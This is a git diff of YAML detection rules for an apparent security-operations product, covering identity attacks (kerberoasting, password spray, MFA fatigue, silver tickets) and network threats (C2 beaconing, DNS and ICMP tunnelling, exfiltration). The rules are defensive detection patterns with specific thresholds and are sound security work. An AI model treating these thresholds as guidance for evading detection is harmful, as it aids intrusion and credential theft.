a/detections/identity/impossible-travel.yaml b/detections/identity/impossible-travel.yamlindex c18964b23..3b2cff4ea 100644--- a/detections/identity/impossible-travel.yaml+++ b/detections/identity/impossible-travel.yaml@@ -1,15 +1,13 @@-id: det-id-002-name: Impossible Travel - Authentication from Two Distant Geolocations-description: >- Detects when a user account authenticates from two geographically distant- IP addresses within a timeframe that makes physical travel impossible- (speed > 800 km/h), strongly suggesting credential compromise or account- sharing.-version: "1.0.0"+id: det-identity-002+name: Impossible Travel Between Two Authentications+description: Detects two successful authentication events for the same user from geographically distant+ locations within a time window that would require travel speeds exceeding 800 km/h. Strong indicator+ of compromised credentials being shared between attacker and legitimate user.+version: 1.0.0severity: hightags:- - mitre.attack.t1078- - tlp.white+- mitre.attack.t1078+- tlp.whitecategory: identitylog_source:product: okta@@ -20,15 +18,11 @@ detection:AND outcome == "SUCCESS"AND travel_speed_kmh > 800AND time_delta_minutes < 120- filters:- - user_type: "service_account"- - src_ip: vpn-gateway-ipsfalse_positives:- - VPN usage that changes apparent geolocation- - Tor exit nodes or proxy services- - IPv6 / IPv4 dual-stack geolocation inconsistencies+- VPN usage that changes apparent geolocation+- Tor / proxy servicesplaybook: tpl-account-compromiseenabled: trueauthor: AiSOC-created: "2025-01-15"-modified: "2025-01-15"+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/jit-elevation-abuse.yaml b/detections/identity/jit-elevation-abuse.yamlnew file mode 100644index 000000000..c1ce80a9c--- /dev/null+++ b/detections/identity/jit-elevation-abuse.yaml@@ -0,0 +1,24 @@+id: det-identity-017+name: Just-In-Time Elevation Held Beyond Window+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Just-In-Time Elevation+ Held Beyond Window'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1078+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.privilege.elevate"+ AND elevation_duration_minutes > 240+false_positives:+- Maintenance window approved beyond 4h (must be ticketed)+playbook: tpl-account-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/kerberoasting.yaml b/detections/identity/kerberoasting.yamlnew file mode 100644index 000000000..72cfc08ed--- /dev/null+++ b/detections/identity/kerberoasting.yaml@@ -0,0 +1,26 @@+id: det-identity-032+name: Kerberoasting (Service-Ticket Request for SPN)+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Kerberoasting (Service-Ticket+ Request for SPN)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1558.003+- tlp.white+category: identity+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id == 4769+ AND ticket_encryption IN ["RC4-HMAC", "0x17"]+ AND spn_count_per_user > 5+ AND time_window_minutes < 5+false_positives:+- Legacy services that still issue RC4 tickets (host_role=legacy tag)+playbook: tpl-credential-theft+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/login-anonymous-ip.yaml b/detections/identity/login-anonymous-ip.yamlnew file mode 100644index 000000000..8dab5e3ae--- /dev/null+++ b/detections/identity/login-anonymous-ip.yaml@@ -0,0 +1,24 @@+id: det-identity-004+name: Login from Tor / Anonymous Proxy+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Login from Tor+ / Anonymous Proxy'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1078+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.session.start"+ AND ip_anonymizer == true+false_positives:+- Researchers / red team (tagged research-account)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/login-during-incident.yaml b/detections/identity/login-during-incident.yamlnew file mode 100644index 000000000..5d1f875ad--- /dev/null+++ b/detections/identity/login-during-incident.yaml@@ -0,0 +1,26 @@+id: det-identity-015+name: Authentication During Active P0/P1 Incident Window+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Authentication+ During Active P0/P1 Incident Window'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1078+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.session.start"+ AND outcome == "SUCCESS"+ AND active_p0_or_p1_incident == true+ AND user_role NOT IN ["incident_responder", "admin"]+false_positives:+- IR team members not in the responder allowlist (rare; tag and continue)+playbook: tpl-incident-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/login-from-foreign-country.yaml b/detections/identity/login-from-foreign-country.yamlnew file mode 100644index 000000000..f7f67c452--- /dev/null+++ b/detections/identity/login-from-foreign-country.yaml@@ -0,0 +1,25 @@+id: det-identity-006+name: Login from Country Outside Allowed Geography+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Login from Country+ Outside Allowed Geography'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1078+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.session.start"+ AND outcome == "SUCCESS"+ AND src_country_not_in_allowlist == true+false_positives:+- Approved business travel (must be tagged)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/login-outside-business-hours.yaml b/detections/identity/login-outside-business-hours.yamlnew file mode 100644index 000000000..8f2d4962d--- /dev/null+++ b/detections/identity/login-outside-business-hours.yaml@@ -0,0 +1,27 @@+id: det-identity-005+name: Privileged Login Outside Business Hours+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Privileged Login+ Outside Business Hours'. Watch the 2 documented false-positive cases before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1078+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.session.start"+ AND outcome == "SUCCESS"+ AND user_role IN ["admin", "privileged"]+ AND hour_of_day_local NOT IN [7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19]+false_positives:+- On-call rotation outside hours (must be on-call)+- Travel by privileged user (tag travel)+playbook: tpl-account-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/mfa-bypass-policy-change.yaml b/detections/identity/mfa-bypass-policy-change.yamlnew file mode 100644index 000000000..01554aeb5--- /dev/null+++ b/detections/identity/mfa-bypass-policy-change.yaml@@ -0,0 +1,24 @@+id: det-identity-009+name: MFA Requirement Removed from User Policy+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'MFA Requirement+ Removed from User Policy'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1556.006+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "policy.lifecycle.update"+ AND policy_change_field == "mfa_required:false"+false_positives:+- Migration to passkey-only (must reference replacement policy)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/mfa-fatigue.yaml b/detections/identity/mfa-fatigue.yamlnew file mode 100644index 000000000..a9abd18f2--- /dev/null+++ b/detections/identity/mfa-fatigue.yaml@@ -0,0 +1,25 @@+id: det-identity-008+name: MFA Push Bombing (MFA Fatigue)+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'MFA Push Bombing+ (MFA Fatigue)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1621+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.mfa.factor.push"+ AND mfa_push_count > 6+ AND time_window_minutes < 5+false_positives:+- User retrying after a missed prompt (typically 2-3 retries)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/oauth-broad-scope-grant.yaml b/detections/identity/oauth-broad-scope-grant.yamlnew file mode 100644index 000000000..caa03966e--- /dev/null+++ b/detections/identity/oauth-broad-scope-grant.yaml@@ -0,0 +1,24 @@+id: det-identity-023+name: OAuth App Granted Broad Scopes by User+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'OAuth App Granted+ Broad Scopes by User'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1098.001+- tlp.white+category: identity+log_source:+ product: google-workspace+ service: audit+detection:+ condition: |+ event_type == "oauth.token.grant"+ AND scope_set CONTAINS_ANY ["mail.readwrite", "drive.full", "admin.directory"]+false_positives:+- IT-managed integrations (publisher in allowlist)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/password-reset-out-of-hours.yaml b/detections/identity/password-reset-out-of-hours.yamlnew file mode 100644index 000000000..ff855d436--- /dev/null+++ b/detections/identity/password-reset-out-of-hours.yaml@@ -0,0 +1,25 @@+id: det-identity-030+name: Password Reset Out of Business Hours for Privileged Account+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Password Reset+ Out of Business Hours for Privileged Account'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1098+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.account.reset_password"+ AND user_role IN ["admin", "privileged"]+ AND hour_of_day_local NOT IN [7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19]+false_positives:+- On-call out-of-hours legitimate reset (must be on-call rotation)+playbook: tpl-account-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/password-spray.yaml b/detections/identity/password-spray.yamlnew file mode 100644index 000000000..e94230aa5--- /dev/null+++ b/detections/identity/password-spray.yaml@@ -0,0 +1,26 @@+id: det-identity-003+name: Password Spray Across Many Users from Single IP+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Password Spray+ Across Many Users from Single IP'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1110.003+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.session.start"+ AND outcome == "FAILURE"+ AND distinct_users_per_ip > 30+ AND time_window_minutes < 30+false_positives:+- Penetration tests (must be ticketed)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/privileged-role-assignment.yaml b/detections/identity/privileged-role-assignment.yamlnew file mode 100644index 000000000..f236d8d51--- /dev/null+++ b/detections/identity/privileged-role-assignment.yaml@@ -0,0 +1,24 @@+id: det-identity-016+name: Privileged Role Assignment+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Privileged Role+ Assignment'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1098+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.role.add"+ AND role_name IN ["admin", "owner", "global_admin"]+false_positives:+- Quarterly access review (ticketed)+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/rbac-cluster-admin-binding.yaml b/detections/identity/rbac-cluster-admin-binding.yamlnew file mode 100644index 000000000..7da5a38fe--- /dev/null+++ b/detections/identity/rbac-cluster-admin-binding.yaml@@ -0,0 +1,25 @@+id: det-identity-020+name: Kubernetes ClusterRoleBinding to cluster-admin+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Kubernetes ClusterRoleBinding+ to cluster-admin'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1078.004+- tlp.white+category: identity+log_source:+ product: kubernetes+ service: audit+detection:+ condition: |+ verb == "create"+ AND object_resource == "clusterrolebindings"+ AND role_ref == "cluster-admin"+false_positives:+- Initial cluster bootstrap (one-time)+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/root-ssh-login.yaml b/detections/identity/root-ssh-login.yamlnew file mode 100644index 000000000..95862c09c--- /dev/null+++ b/detections/identity/root-ssh-login.yaml@@ -0,0 +1,25 @@+id: det-identity-012+name: Root SSH Login on Production Host+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Root SSH Login+ on Production Host'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1078.001+- tlp.white+category: identity+log_source:+ product: linux+ service: auth+detection:+ condition: |+ event_type == "ssh-accept"+ AND user == "root"+ AND host_role == "production"+false_positives:+- Disaster recovery break-glass (must be ticketed)+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/saml-response-anomaly.yaml b/detections/identity/saml-response-anomaly.yamlnew file mode 100644index 000000000..0f86cca31--- /dev/null+++ b/detections/identity/saml-response-anomaly.yaml@@ -0,0 +1,26 @@+id: det-identity-036+name: SAML Response with Mismatched Issuer or Future-Dated NotBefore+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'SAML Response with+ Mismatched Issuer or Future-Dated NotBefore'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1606.002+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.authentication.sso"+ AND ANY OF:+ - issuer_valid == false+ - notbefore_in_future == true+false_positives:+- Clock-skew between IDP and SP (rare; <2min)+playbook: tpl-credential-theft+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/self-password-reset-admin.yaml b/detections/identity/self-password-reset-admin.yamlnew file mode 100644index 000000000..3f50fbb88--- /dev/null+++ b/detections/identity/self-password-reset-admin.yaml@@ -0,0 +1,25 @@+id: det-identity-029+name: Admin Password Reset Initiated by Self via Self-Service+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Admin Password+ Reset Initiated by Self via Self-Service'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1098+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.account.reset_password"+ AND reset_method == "self-service"+ AND user_role == "admin"+false_positives:+- Forgotten-password flow with strong second factor (rare for admins)+playbook: tpl-account-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/service-account-interactive-login.yaml b/detections/identity/service-account-interactive-login.yamlnew file mode 100644index 000000000..5ea86f359--- /dev/null+++ b/detections/identity/service-account-interactive-login.yaml@@ -0,0 +1,25 @@+id: det-identity-011+name: Service Account Used for Interactive Login+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Service Account+ Used for Interactive Login'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1078.004+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.session.start"+ AND user_type == "service_account"+ AND session_type == "interactive"+false_positives:+- Service account testing during onboarding (must be ticketed)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/shared-account-login-spike.yaml b/detections/identity/shared-account-login-spike.yamlnew file mode 100644index 000000000..21cb94de2--- /dev/null+++ b/detections/identity/shared-account-login-spike.yaml@@ -0,0 +1,25 @@+id: det-identity-014+name: Shared Account Login Spike (Distinct IPs)+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Shared Account+ Login Spike (Distinct IPs)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1078+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.session.start"+ AND distinct_ip_count_per_user > 5+ AND time_window_minutes < 10+false_positives:+- Shared corporate workstation (multi-user)+playbook: tpl-account-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/silver-ticket.yaml b/detections/identity/silver-ticket.yamlnew file mode 100644index 000000000..1dbedf02c--- /dev/null+++ b/detections/identity/silver-ticket.yaml@@ -0,0 +1,25 @@+id: det-identity-035+name: Silver Ticket Indicator (Service Ticket Without TGS Hit)+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Silver Ticket Indicator+ (Service Ticket Without TGS Hit)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1558.002+- tlp.white+category: identity+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id == 4624+ AND logon_type == 3+ AND tgs_event_seen == false+false_positives:+- Cached TGT reuse outside log retention window+playbook: tpl-credential-theft+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/sudo-no-mfa.yaml b/detections/identity/sudo-no-mfa.yamlnew file mode 100644index 000000000..dd1efb163--- /dev/null+++ b/detections/identity/sudo-no-mfa.yaml@@ -0,0 +1,24 @@+id: det-identity-018+name: Sudo Used Without MFA+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Sudo Used Without+ MFA'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1548.003+- tlp.white+category: identity+log_source:+ product: linux+ service: sudo+detection:+ condition: |+ event_type == "sudo-use"+ AND mfa_verified == false+false_positives:+- Hosts pending MFA rollout (host_role=legacy tag required)+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/token-reuse-new-device.yaml b/detections/identity/token-reuse-new-device.yamlnew file mode 100644index 000000000..7717146b6--- /dev/null+++ b/detections/identity/token-reuse-new-device.yaml@@ -0,0 +1,25 @@+id: det-identity-025+name: Persistent Session Token Reused from New Device Fingerprint+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Persistent Session+ Token Reused from New Device Fingerprint'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1550.004+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.session.access_token"+ AND device_fingerprint_seen_before == false+ AND session_age_hours > 8+false_positives:+- Browser update changing fingerprint (must be paired with consistent IP)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/c2-beacon-high-frequency.yaml b/detections/network/c2-beacon-high-frequency.yamlindex d8fecd80d..00e572464 100644--- a/detections/network/c2-beacon-high-frequency.yaml+++ b/detections/network/c2-beacon-high-frequency.yaml@@ -1,36 +1,26 @@-id: det-net-001-name: C2 Beacon - High Frequency Periodic Connections-description: >- Detects potential Command & Control (C2) beaconing behaviour based on- high-frequency periodic outbound connections to the same external IP or- domain over a short time window. Malware beacons are typically evenly- spaced with low jitter.-version: "1.0.0"+id: det-network-001+name: C2 Beacon Pattern (Periodic High-Frequency)+description: Detects highly periodic outbound network connections to a single destination, characteristic+ of command-and-control (C2) beaconing from implants. Combines both connection count and interval consistency+ to reduce false positives from telemetry agents.+version: 1.0.0severity: hightags:- - mitre.attack.t1071.001- - mitre.attack.t1571- - tlp.white+- mitre.attack.t1071.001+- tlp.whitecategory: networklog_source:- product: network-firewall- service: flow-logs+ product: ndr+ service: flowdetection:condition: |- connection_count > 20- AND dest_port IN [80, 443, 8080, 8443]- AND jitter_seconds < 5- AND time_window_minutes <= 30- filters:- - dest_ip: "10.0.0.0/8"- - dest_ip: "172.16.0.0/12"- - dest_ip: "192.168.0.0/16"+ connection_count > 50+ AND interval_consistency > 0.85+ AND time_window_minutes < 60false_positives:- - Monitoring agents and health-checkers with fixed polling intervals- - CDN keep-alive connections- - NTP synchronization traffic-playbook: tpl-c2-containment+- Telemetry / heartbeat agents to known endpoints (allowlist destination)+playbook: tpl-c2enabled: trueauthor: AiSOC-created: "2025-01-15"-modified: "2025-01-15"+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/ddos-syn-flood.yaml b/detections/network/ddos-syn-flood.yamlnew file mode 100644index 000000000..e2f4d1b53--- /dev/null+++ b/detections/network/ddos-syn-flood.yaml@@ -0,0 +1,25 @@+id: det-network-019+name: SYN Flood Pattern Against Public Endpoint+description: AiSOC v1 curated detection. Triggers on the network signal described by 'SYN Flood Pattern+ Against Public Endpoint'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1498.001+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ tcp_flag == "SYN"+ AND syn_count_per_dst > 5000+ AND time_window_minutes < 1+false_positives:+- Legitimate burst (e.g., product launch)+playbook: tpl-ddos+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/dhcp-rogue-server.yaml b/detections/network/dhcp-rogue-server.yamlnew file mode 100644index 000000000..0fc615cc6--- /dev/null+++ b/detections/network/dhcp-rogue-server.yaml@@ -0,0 +1,24 @@+id: det-network-011+name: Rogue DHCP Server Detected on LAN+description: AiSOC v1 curated detection. Triggers on the network signal described by 'Rogue DHCP Server+ Detected on LAN'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1557+- tlp.white+category: network+log_source:+ product: ndr+ service: dhcp+detection:+ condition: |+ event_type == "DHCP_OFFER"+ AND src_mac_in_allowed_dhcp == false+false_positives:+- Approved network changes / new server bring-up (must be ticketed)+playbook: tpl-credential-theft+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/dns-data-exfiltration.yaml b/detections/network/dns-data-exfiltration.yamlindex 2d165d1ba..0530b47c9 100644--- a/detections/network/dns-data-exfiltration.yaml+++ b/detections/network/dns-data-exfiltration.yaml@@ -1,33 +1,26 @@-id: det-net-002-name: DNS-Based Data Exfiltration-description: >- Detects unusually large DNS query volumes or queries with abnormally long- subdomain labels, which are characteristic of DNS tunnelling tools such as- iodine, DNScat, or custom malware exfiltrating data via DNS TXT/A records.-version: "1.0.0"+id: det-network-002+name: DNS Tunneling / Exfiltration (High Length Subdomains)+description: Detects DNS tunnelling activity characterised by abnormally long subdomain labels and high+ query volume to a single parent domain. Common technique for covert data exfiltration that bypasses+ egress filtering on standard ports.+version: 1.0.0severity: hightags:- - mitre.attack.t1048.003- - mitre.attack.t1071.004- - tlp.white+- mitre.attack.t1048.003+- tlp.whitecategory: networklog_source:- product: dns-server- service: dns-logs+ product: dns+ service: querydetection:condition: |- (query_length > 50 AND query_count_per_host_per_hour > 100)- OR (record_type IN ["TXT", "NULL"] AND query_count_per_host_per_hour > 50)- filters:- - query_domain: "*.windows.com"- - query_domain: "*.microsoft.com"- - query_domain: "*.google.com"+ avg_subdomain_len > 50+ AND query_count > 100+ AND time_window_minutes < 30false_positives:- - Dynamic DNS clients with long hostnames- - ACME / Let's Encrypt domain validation challenges- - Kubernetes service discovery DNS-playbook: tpl-network-isolation+- DNSSEC and large CDN providers (allowlist parent domain)+playbook: tpl-data-exfilenabled: trueauthor: AiSOC-created: "2025-01-15"-modified: "2025-01-15"+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/dns-fast-flux.yaml b/detections/network/dns-fast-flux.yamlnew file mode 100644index 000000000..670a4b4dd--- /dev/null+++ b/detections/network/dns-fast-flux.yaml@@ -0,0 +1,25 @@+id: det-network-009+name: DNS Fast-Flux (Many Distinct A-Records / Short TTL)+description: AiSOC v1 curated detection. Triggers on the network signal described by 'DNS Fast-Flux (Many+ Distinct A-Records / Short TTL)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1568.001+- tlp.white+category: network+log_source:+ product: dns+ service: query+detection:+ condition: |+ distinct_a_records > 30+ AND ttl_seconds < 60+ AND time_window_hours < 1+false_positives:+- Large CDNs (allowlist parent zone)+playbook: tpl-c2+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/dns-over-https-rare.yaml b/detections/network/dns-over-https-rare.yamlnew file mode 100644index 000000000..33852274c--- /dev/null+++ b/detections/network/dns-over-https-rare.yaml@@ -0,0 +1,25 @@+id: det-network-024+name: DNS-over-HTTPS to Non-Approved Resolver+description: AiSOC v1 curated detection. Triggers on the network signal described by 'DNS-over-HTTPS to+ Non-Approved Resolver'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1071.004+- tlp.white+category: network+log_source:+ product: proxy+ service: http+detection:+ condition: |+ dst_in_doh_allowlist == false+ AND method IN ["POST", "GET"]+ AND url_path ENDSWITH "/dns-query"+false_positives:+- Approved DoH providers (allowlist by hostname)+playbook: tpl-c2+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/egress-to-blocklisted-ip.yaml b/detections/network/egress-to-blocklisted-ip.yamlnew file mode 100644index 000000000..953908592--- /dev/null+++ b/detections/network/egress-to-blocklisted-ip.yaml@@ -0,0 +1,23 @@+id: det-network-020+name: Outbound Connection to Threat-Intel-Blocked IP+description: AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound Connection+ to Threat-Intel-Blocked IP'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1071.001+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ dst_in_blocklist == true+false_positives:+- TI false-positives (retire IP via tuning)+playbook: tpl-c2+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/egress-to-rare-asn.yaml b/detections/network/egress-to-rare-asn.yamlnew file mode 100644index 000000000..579477748--- /dev/null+++ b/detections/network/egress-to-rare-asn.yaml@@ -0,0 +1,24 @@+id: det-network-015+name: Outbound Traffic to Rare/Suspicious ASN+description: AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound Traffic+ to Rare/Suspicious ASN'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1071.001+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ dst_asn_seen_count < 5+ AND time_window_days > 30+false_positives:+- First-time use of legitimate hosting providers (must investigate)+playbook: tpl-c2+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/ftp-outbound-anomaly.yaml b/detections/network/ftp-outbound-anomaly.yamlnew file mode 100644index 000000000..fd3ab24e0--- /dev/null+++ b/detections/network/ftp-outbound-anomaly.yaml@@ -0,0 +1,26 @@+id: det-network-025+name: Outbound FTP Bulk Transfer From Non-Allowlisted Host+description: AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound FTP Bulk+ Transfer From Non-Allowlisted Host'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1048.003+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ protocol == "TCP"+ AND dst_port IN [21, 990]+ AND bytes_out > 50000000+ AND src_in_allowlist == false+false_positives:+- Approved B2B file-exchange hosts (allowlist)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/icmp-tunnel.yaml b/detections/network/icmp-tunnel.yamlnew file mode 100644index 000000000..7a0b9ecd7--- /dev/null+++ b/detections/network/icmp-tunnel.yaml@@ -0,0 +1,26 @@+id: det-network-012+name: ICMP Tunneling Pattern (Large Payloads)+description: AiSOC v1 curated detection. Triggers on the network signal described by 'ICMP Tunneling Pattern+ (Large Payloads)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1095+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ protocol == "ICMP"+ AND avg_payload_bytes > 512+ AND packet_count > 500+ AND time_window_minutes < 30+false_positives:+- Network monitoring with large MTU echo (rare; allowlist)+playbook: tpl-c2+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/internal-host-spamming-mail.yaml b/detections/network/internal-host-spamming-mail.yamlnew file mode 100644index 000000000..15133c06b--- /dev/null+++ b/detections/network/internal-host-spamming-mail.yaml@@ -0,0 +1,26 @@+id: det-network-021+name: Internal Host Spamming SMTP+description: AiSOC v1 curated detection. Triggers on the network signal described by 'Internal Host Spamming+ SMTP'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1566+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ protocol == "TCP"+ AND dst_port IN [25, 465, 587]+ AND smtp_count_per_src > 200+ AND time_window_minutes < 10+false_positives:+- Approved bulk mailers (allowlisted source)+playbook: tpl-malware-execution+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/ipv6-tunnel-outbound.yaml b/detections/network/ipv6-tunnel-outbound.yamlnew file mode 100644index 000000000..69fb74dcb--- /dev/null+++ b/detections/network/ipv6-tunnel-outbound.yaml@@ -0,0 +1,24 @@+id: det-network-023+name: Outbound IPv6 Teredo / 6to4 Tunneling Traffic+description: AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound IPv6 Teredo+ / 6to4 Tunneling Traffic'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1572+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ protocol == "UDP"+ AND dst_port IN [3544, 41]+false_positives:+- Legacy IPv6 transition mechanisms (allowlist host)+playbook: 